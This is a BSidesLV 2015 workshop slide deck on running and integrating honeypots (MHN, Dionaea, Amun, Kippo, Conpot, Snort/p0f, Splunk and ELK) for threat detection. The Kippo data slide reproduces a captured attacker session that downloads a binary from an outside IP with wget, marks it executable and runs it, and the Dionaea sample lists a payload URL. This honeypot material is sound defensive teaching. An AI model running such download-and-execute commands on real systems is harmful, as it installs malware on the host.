Deploying, Managing, and Leveraging Honeypots in the Enterprise using Open Source Tools

Jason TrostNicholas Albright

2 BSidesLV 2015

whois jason.trost• Director of ThreatStream Labs• Working in Security for >10 years now• Previously at Sandia, DoD, Booz Allen, Endgame Inc.• Big advocate of open source and open source

contributor• Binary Pig – large-scale static analysis using Hadoop• Apache Accumulo – Pig integration, pyaccumulo, Analytics• Apache Storm• Elasticsearch plugins• Honeynet Project• Modern Honey Network

3 BSidesLV 2015

whois nicholas.albright• Principle Threat Researcher, ThreatStream Labs• Previous: VMware, Department Of Interior, Consultant

for Fed/Financial• Old School Hacker, Penetration Tester, Tactician and

Puzzletier. • Currently focused on Sinkholes, Darknets and Malware

4 BSidesLV 2015

ThreatStream• Cyber Security company founded in 2013 and venture backed

by Google Ventures, Paladin Capital Group, Institutional Venture Partners, and General Catalyst Partners.• SaaS based enterprise security software that provides

actionable threat intelligence to large enterprises and government agencies.• Our customers hail from the financial services, retail, energy,

technology and government sectors.

5 BSidesLV 2015

Agenda• Intro to Honeypots• Enterprise Integration of Honeypot Sensors• Concerns with Enterprise Use• Useful Honeypots for Enterprise Use• Lab Exercises• Deploy MHN• Deploy Dionaea + Kippo + Snort + p0f• Splunk Integration• ELK Integration

6 BSidesLV 2015

Intro to Honeypots

7 BSidesLV 2015

Intro to Honeypots• Software systems designed to mimic

vulnerable servers and desktops• Used as bait to deceive, slow down, or

detect hackers, malware, or misbehaving users • Designed to capture data for research,

forensics, and threat intelligence

8 BSidesLV 2015

Why Honeypots?• Cheapest way to generate threat intelligence feeds around malicious IP

addresses at scale• Lots of places you can use them and get value• Internal deployment

• Behind the firewall• Low noise IDS sensors

• Local External deployment• Who is attacking me?• Outside the firewall and on your IP space

• Global External deployment• Rented Servers, Cloud Servers, etc• Who is attacking everyone?• Global Trends

9 BSidesLV 2015

Why Honeypots?

10 BSidesLV 2015

Low Interaction vs. High InteractionLow Interaction

Initial Goal is usually Malware CollectionContextual Awareness and IDSAssisting with Incident ResponseLow maintenance, easy to finger printGreat for detecting Rogue EmployeesNot much ‘actor’ level intelligenceMany to choose from

High InteractionInitial Goal is usually Actor AoOMay start as a compromised workstationHigh maintenance, requires monitoringDifficult to fingerprint if seeded properlyMany call this Incubator Lab or Office in a Box

11 BSidesLV 2015

Security Intuition, Intelligence IgnoranceTo understand our future risks, we must understand our current security posture, gaps and the security strategies that we have had success with.

Intelligence Ignorance• Personal/Corporate Bias

• Personal Experience and Corporate Policy• Outdated Controls and Information

• Weak/Outdated Security Controls, Misconfigurations and lack of context• News Bias

• APT Actors are launching Cyber Terrorism Attacks

Honeypots help remove bias by providing factual data that can help us retrain our security and analyst intuition.

12 BSidesLV 2015

Enterprise Integration of Honeypot Sensors

13 BSidesLV 2015

Enterprise Use Cases• Low Noise IDS Sensors / Alerting• Threat intelligence Collection• Scanning IPs• Bruteforce IPs• Attack tools

• Forensics• DNS Sinkhole• Threat Map

14 BSidesLV 2015

Leveraging Honeypot DataUse cases• Metrics

• Clear statistics on events, who, from where, using what?

• Intrusion Detection• detect compromised devices• detect lateral movement attempts

• Threat Intelligence• Retrain Analysts• Hunting Exercises

• Incident Response• Use logs as a ‘starting point’ for an incident• Most attackers will compromise and advance to the next system, leaving valuable data on the honeypot.

15 BSidesLV 2015

Deployment Decisions• Sensor Placement

• Local Internal• Local External• Global External• Deploy Strategically to blend in• Widespread or limited deployment

• Deployment how• Modern Honey Network• VMware• Cloud hosted Images (Amazon AMI, Digital Ocean Image, etc.)

• Sensor combinations• Snort/Suricata + p0f on each honeypot• Dionaea + kippo + (Glastopf|Shockpot|Wordpot)

16 BSidesLV 2015

Honeypot Profile Tuning• Tune the sensors to match your environment• Windows shop?

• Use Dionaea or Amun configured with Windows services• Tune open ports and services to blend in

• Linux shop?• Use Dionaea configured for select Linux services• Use Kippo and Shockpot

• Run webapps?• Use (and customize) Glastopf and/or Wordpot and/or Shockpot• Deploy Elastichoney

• Run Industrial Control Systems?• Use Conpot

17 BSidesLV 2015

Honeypot Maintenance and Management• Run under supervision, i.e. should restart upon failure or

alert• supervisord• upstart

• Log Rolling and data age off• Monitoring health and status• Software updates

18 BSidesLV 2015

Honeypot Data Analytics• Indicator Feeds

• Malicious IPs• Malicious Files/Hashes• Malicious URLs

• Rollups / Summaries• Trending• Attacker Summary

• p0f for OS/application tagging• Scanning IP + PDNS ==> compromised webserver?• Sandbox or VirusTotal integration

19 BSidesLV 2015

Honeypot Enterprise Integration• Data Aggregation• Dashboards and Reporting• Alerting• Data Exploration and Analysis

20 BSidesLV 2015

Honeypot Data Aggregation• Hpfeeds• Hpfeeds-logger• Logstash• logstash-input-hpfeeds• Splunk Universal Log Forwarder• Syslog

21 BSidesLV 2015

Hpfeeds• An authenticated publish/subscribe based data feed system• Designed for exchanging honeypot events/data between clients and

an Hpfeeds broker• Used by most honeypots, esp. the ones from the Honey Net Project• Simple access control and authentication for publishers and

subscribers• identity (username)• secret (api key)• allowed publish channel list• allowed subscribe channel list

• Messages from honeypots are published to channels on the hpfeeds broker

22 BSidesLV 2015

hpfeeds-logger• An open source library that reads from hpfeeds and writes to files• Designed to transform all the major honeypots’ custom JSON

format into a normalized format• Initially built for the MHN Splunk App• Supports ArcSight’s CEF format • Supports JSON format suitable for ELK• Really useful for creating dashboards that span different types of

honeypots

https://github.com/threatstream/hpfeeds-logger

23 BSidesLV 2015

Logstash• Modular Log processing engine optimized for use with Elasticsearch• This is the ingest portion of the ELK Stack• Logstash is incredibly flexible and powerful for receiving,

transforming, and outputting to various data stores• Simple DSL• Plugin based, examples:

• input: rabbitmq, kafka, zeromq, redis, twitter, xmpp, imap• filter: geoip, dns, useragent, cidr, aggregate• output: elasticsearch, hipchat, kafka, rabbitmq, syslog, csv

• There is a plugin for hpfeeds!• https://github.com/aabed/logstash-input-hpfeeds

24 BSidesLV 2015

logstash-input-hpfeeds• Logstash module for reading events from hpfeeds• Great for integrating honeypot feeds directly into the

ELK stack• MHN has a deploy script for this too

https://github.com/aabed/logstash-input-hpfeeds

25 BSidesLV 2015

Splunk Universal Log Forwarder• Not open source, but free• Powerful tool for shipping almost any log data to splunk• Not nearly as flexible as logstash• Provides lots of useful features• compression• tagging with metadata• SSL• throttling and buffering

26 BSidesLV 2015

Dashboard and Reporting• Elasticsearch, Logstash, and Kibana (ELK)• Modern Honey Network (MHN)• Splunk

27 BSidesLV 2015

Elasticsearch, Logstash, and Kibana (ELK)• A complete open source stack for data ETL, Search, and

visualization• Elasticsearch• Search engine database with REST APIs exposing all aspects

of the system• Designed to scale linearly

• Kibana• Angularjs web application that is a pretty and intuitive

frontend over Elasticsearch• Power data visualization and exploration framework• We are going to use this to build some dashboards later

28 BSidesLV 2015

Splunk• Power enterprise software for managing and search log

data• Lots of our customers use Splunk and I is becoming

more and more common for SIEM like use cases• Not open source, but has a very capable free version• The free version is sufficient for many honeypot use

cases• We built an open source MHN splunk app to integrate

29 BSidesLV 2015

Alerting• SIEM Integration• Syslog• MHN API polling• ELK polling• Email• Realtime hpfeeds hooks

30 BSidesLV 2015

Data Exploration and Analysis• Elasticsearch and Kibana • Modern Honey Network (MHN)• MHN REST APIs• Mongo DB Queries or mongoexport to CVS

• hpfeeds-logger• output as CEF, JSON, or Splunk KV• analyze raw data with whatever tool

• Splunk

31 BSidesLV 2015

What is Modern Honey Network• Open source platform for managing honeypots, collecting and

analyzing their data• Makes it very easy to deploy new honeypots and get data

flowing• Leverages some existing open source tools

• hpfeeds• nmemosyne• honeymap• MongoDB• Dionaea, Conpot, Snort, Kippo, p0f, Suricata• Glastopf, Amun, Wordpot, Shockpot, Elastichoney

32 BSidesLV 2015

Honeypot Management with MHN• MHN Automates management tasks• Deploying new honeypots• Setting up data flows using hpfeeds• Store and index the resulting data• Expose REST APIs for application building and

integration• Correlate with IP Geo data• Real-time visualization• Log/normalization tools for Integration with other

security tools

33 BSidesLV 2015

MHN Server Architecture

Mnemosyne

Webapp REST APIhoneymap

MHN Server

wordpot

shockpot p0f

snort

conpot dionaea

Sensors

hpfeeds

suricata

KippoAmun

Glastopf

hpfeeds-logger

Integrations Users 3rd party apps

Elastichoney

34 BSidesLV 2015

SIEM Integration Scenarios• Intrusion Detection System (Generates events into the SIEM)• “Fact of“ an event occurring could be worth investigating depending on

the network and deployment• e.g. Detection of port scan inside high value network• e.g. Detection of exploitation attempt against honeypot• e.g. Password brute force behind the firewall

• Threat Intelligence (event enrichment)• Gathers data useful for making decisions• Individual events are not as important as the aggregation of these events• Attacker Summary (other ports scanned, first seen/last seen, number of

sensors probed, etc)• Attacker Metadata (OS, Uptime, Connection Type, Application Type)

35 BSidesLV 2015

Useful Honeypots/Sensors for Enterprise Use

36 BSidesLV 2015

Sensors• Dionaea• Amun• Kippo• p0f

• Wordpot• Glastopf• Shockpot• Elastichoney

• Snort• Suricata• Delilah• nosqlpot

• Shiva*• honeyd*

37 BSidesLV 2015

Dionaea and AmunDionaea• Started out as ‘Nepenthes,’ a windows service

emulating honeypot• Uses LibEMU to parse shellcode, hands even

uncategorized threats• Captures binaries, auto uploading to VirusTotal and

Sandbox services• Implemented in C and Python• Can mimic a number of different Linux and Windows

based servicesAmun• Modular Honeypot written in Python• Stock vulnerable services will capture many commodity

worms• Easy to extend, new vulnerability modules are loaded

without restart• Awesome mimicking of success exploit responses

(bindshell, connect back shell, fetch URL, etc.)

38 BSidesLV 2015

Dionaea and Amun: features• Dionaea

• Provides emulation of the following services: FTP, HTTP, MySQL, MSSQL, SMB, SIP, TFTP

• Amun• Incredibly meticulous implementation of SMB (3,330 lines of

python)• Mimics vulnerabilities in SMB• Detects shellcode capabilities and mimics the proper response

• connect back shell• bindshell• http download

• Push a mimicked CMD.EXE terminal

39 BSidesLV 2015

Dionaea and Amun: DataDionaea

{ "connection_protocol": "smbd", "connection_transport": "tcp", "connection_type": "accept", "local_host": "50.116.33.75", "local_port": 445, "remote_host": "189.46.227.26", "remote_hostname": "", "remote_port": 1528}

{ "daddr": "172.31.13.40", "dport": "445", "md5": "7bb455ea4a77b24478fba4de145115eb", "saddr": "178.24.227.110", "sha512": "8f2c7b918fe88f15b2b750e746d8d78 ..", "sport": "1906", "url": "http://178.24.227.110:2037/wbpztjar"}

Amun

{ "attackerPort": 56437, "victimPort": 139, "victimIP": "104.131.78.242", "attackerIP": "162.243.245.119", "connectionType": "initial"}

40 BSidesLV 2015

Dionaea and Amun: Configuration• Dionaea• So many options with Dionaea (default config file is

680+ lines)• Depending on your deployment scenario, probably

want to disable http/https ports• Chose combinations of services that match your real

environment (i.e. likely don’t want mysql and mssql running together)

• Amun• Highly configurable as to which ports and which

vulnerabilities it mimics• Chose the ports and services that best represent you

network

Amun Vulnerability Modulesvuln-smb: 445,139vuln-dcom: 135vuln-ca: 10203vuln-ftpd: 21vuln-sasserftpd: 1023,5554vuln-wins: 42vuln-arc: 6070,41523,1900vuln-symantec: 2967,2968,38292vuln-msdtc: 3372,1025vuln-axigen: 110vuln-slmail: 110vuln-mdaemon: 110vuln-upnp: 5000,2555vuln-iis: 443vuln-maxdb: 9999vuln-tivoli: 8080,1111,1581vuln-msmq: 2101,2103,2105,2107vuln-sub7: 27347vuln-imail: 25,587vuln-mercury: 105vuln-lotusdomino: 143vuln-arkeia: 617vuln-dameware: 6129vuln-veritas: 6101vuln-trend: 5168,3268,3628vuln-bagle: 2745vuln-goodtech: 2380vuln-helix: 554vuln-hpopenview: 2954vuln-http: 80vuln-peercast: 7144

41 BSidesLV 2015

Kippo• “Kippo is used to log brute force attacks and the entire

shell interaction performed by an attacker.”• SSH Emulating Honeypot, written in Python.• Easy to customize• Set multiple passwords for the same account• unlimited accounts and passwords.

42 BSidesLV 2015

Kippo: Features• Fast, Multi Threaded support can handle unthrottled

brute force attempts.• Fake file system can Mimic any other Linux file system,

including ARM architectures!• Prevents actors from disconnecting from the honeypot• Sometimes actors don’t realize this and reveal important

details about themselves• Full Session data is saved, including keylog events• Useful for determining if an attack is automated or a human

43 BSidesLV 2015

Kippo: Configuration• Kippo’s default File System is archaic and should be

updated using utils/createfs.py >fs.pickle from the main Kippo directory. • This will clone your local file system and help give credibility

to your honeypot. • Update common commands such as ‘free’, with free >

txtcmds/bin/free• Modify Kippo’s config file, kippo.cfg, changing the

hostname and default root password. Keep the password easy to guess, but not 12345.

44 BSidesLV 2015

Kippo: DataAccess Logs (ip, username, password):

2015-07-30 05:05:38-0400 [SSHService ssh-userauth on HoneyPotTransport,67,58.218.211.166] login attempt [root/!@#123] failed2015-07-30 05:06:32-0400 [SSHService ssh-userauth on HoneyPotTransport,75,58.218.211.166] login attempt [root/-pl,0okm] failed2015-07-30 05:06:33-0400 [SSHService ssh-userauth on HoneyPotTransport,75,58.218.211.166] login attempt [root/.] failed2015-07-30 05:06:36-0400 [SSHService ssh-userauth on HoneyPotTransport,76,58.218.211.166] login attempt [root/..] failed2015-07-30 05:06:38-0400 [SSHService ssh-userauth on HoneyPotTransport,76,58.218.211.166] login attempt [root/0] failed

2015-07-30 05:06:39-0400 [SSHService ssh-userauth on HoneyPotTransport,76,58.218.211.166] login attempt [root/000] failed2015-07-30 05:06:43-0400 [SSHService ssh-userauth on HoneyPotTransport,77,58.218.211.166] login attempt [root/0000] failed2015-07-30 05:06:44-0400 [SSHService ssh-userauth on HoneyPotTransport,77,58.218.211.166] login attempt [root/000000] failed

TTY Logs (full command logs at successful authentication):

$ python utils/playlog.py log/tty/20150730-033226-1486.log root@db01:~# wget -O /tmp/S24100 http://183.250.83.132:8989/S24100

root@db01:~# chmod 755 /tmp/S24100root@db01:~# /tmp/S24100 &

45 BSidesLV 2015

Conpot• Industrial Control Systems (ICS) honeypot• Goal: to collect intelligence about the motives and

methods of adversaries targeting industrial control systems• Default config provides basic emulation of a Siemens

S7-200 CPU with a few expansion modules installed.• The attack surface of the default emulation includes the

protocols MODBUS, HTTP, SNMP and s7comm.

46 BSidesLV 2015

Conpot: Data{ "data": { "function_code": null, "request": "000000000005002b0e0100", "response": "", "slave_id": 0 }, "data_type": "modbus", "id": ”XXXX-XXXXX-XXXXX-XXXXX-XXXXX", "public_ip": ”XXX.XXX.XXX.XXX", "remote": [ "185.35.62.11", 58585 ], "timestamp": "2015-07-22T07:01:22.445714"}

47 BSidesLV 2015

Web App Honeypots• Glastopf

• Very extensible web application honeypot• Vulnerability type emulation instead of vulnerability emulation. • Once a vulnerability type is emulated, Glastopf can handle unknown attacks of the

same type• Wordpot

• Wordpress honeypot• Appears vulnerable to Wordpress scanners• Identifies the specific type of scan or attack

• Shockpot• Mimics a web server that is vulnerable to the ShellShock Vulnerability (CVE-2014-

6271).• Captures commands executed and fetches payloads for analysis• We’ve observed traditional x86(-64) and ARM architectures (Routers/etc)

48 BSidesLV 2015

NoSQL Honeypots• Elastichoney• Mimics elasticsearch instances vulnerable to CVE-2015-1427• Logs the remote code execution attempts• Attempts to fetch HTTP Payloads

• delilah (from Novetta)• Similar to Elastichoney, but implemented in Python and uses

tornado• Comes with a dashboard for viewing the data collect

• nosqlpot• Mimics a Redis instance with fake data loaded into it• Logs all interactions

49 BSidesLV 2015

p0f/Snort/Suricata• Not honeypots, but really useful network sensors

when deployed with honeypots• p0f – Passive OS fingerprinting

• Estimates the Operating system and other details about a host

• Provides more context about attacking hosts• Linux Server vs. Windows XP vs. Windows 7/8• DSL vs. Ethernet/Modem vs. VPN/Tunnel• Application profiling by User-Agent• Uptime

• Snort/Suricata – Intrusion detection systems and traffic analyzers• Identify specific attack patterns and exploits• Provides more context about the attack traffic

http://null-byte.wonderhowto.com/

50 BSidesLV 2015

Lab Exercises

51 BSidesLV 2015

Lab Exercises1. Get your login info from the instructors• MHN Server• Honeypot Server

2. Login to your MHN Server in in one terminal and your Honeypot server in the other.

3. Download the lab exercises (PDF) here: http://bit.ly/honey-labs

52 BSidesLV 2015

Exercise 1: Deploy & Configure MHN• Download, deploy and configure Modern Honey Network (MHN)• Set it up to use HTTPS• Login and explore the interface

• Map• Deploy• Attacks• Payloads• Rules• Sensors• Charts• Settings

53 BSidesLV 2015

Exercise 2: Deploy Honeypots• Deploy Honeypots (Dionaea + Kippo + p0f + Snort)

using MHN• Login to your Honeypot using SSH• Deploy Dionaea• Deploy Snort• Deploy p0f• Deploy Kippo

• Port scan your honeypot• Try some ssh attempts

54 BSidesLV 2015

Exercise 3: Integrate with Splunk• Integrate MHN with Splunk• Install the MHN Splunk app• Explore the interface and your data

55 BSidesLV 2015

Exercise 4: Integrate with ELK• Integrate MHN with Elasticsearch, Logstash, Kibana

(ELK)• Explore the data• Create an interactive Kibana Dashboard

56 BSidesLV 2015

Modern Honey Network•mailing list: modern-honey-network@google groups•website: http://threatstream.github.io/mhn/• Source code: https://github.com/threatstream/mhn

57 BSidesLV 2015

Contact Info• Jason Trost• @jason_trost• jason.trost [AT] threatstream [DOT] com• https://github.com/jt6211

• Nicholas Albright• @nma_io• nalbright [AT] threatstream [DOT] com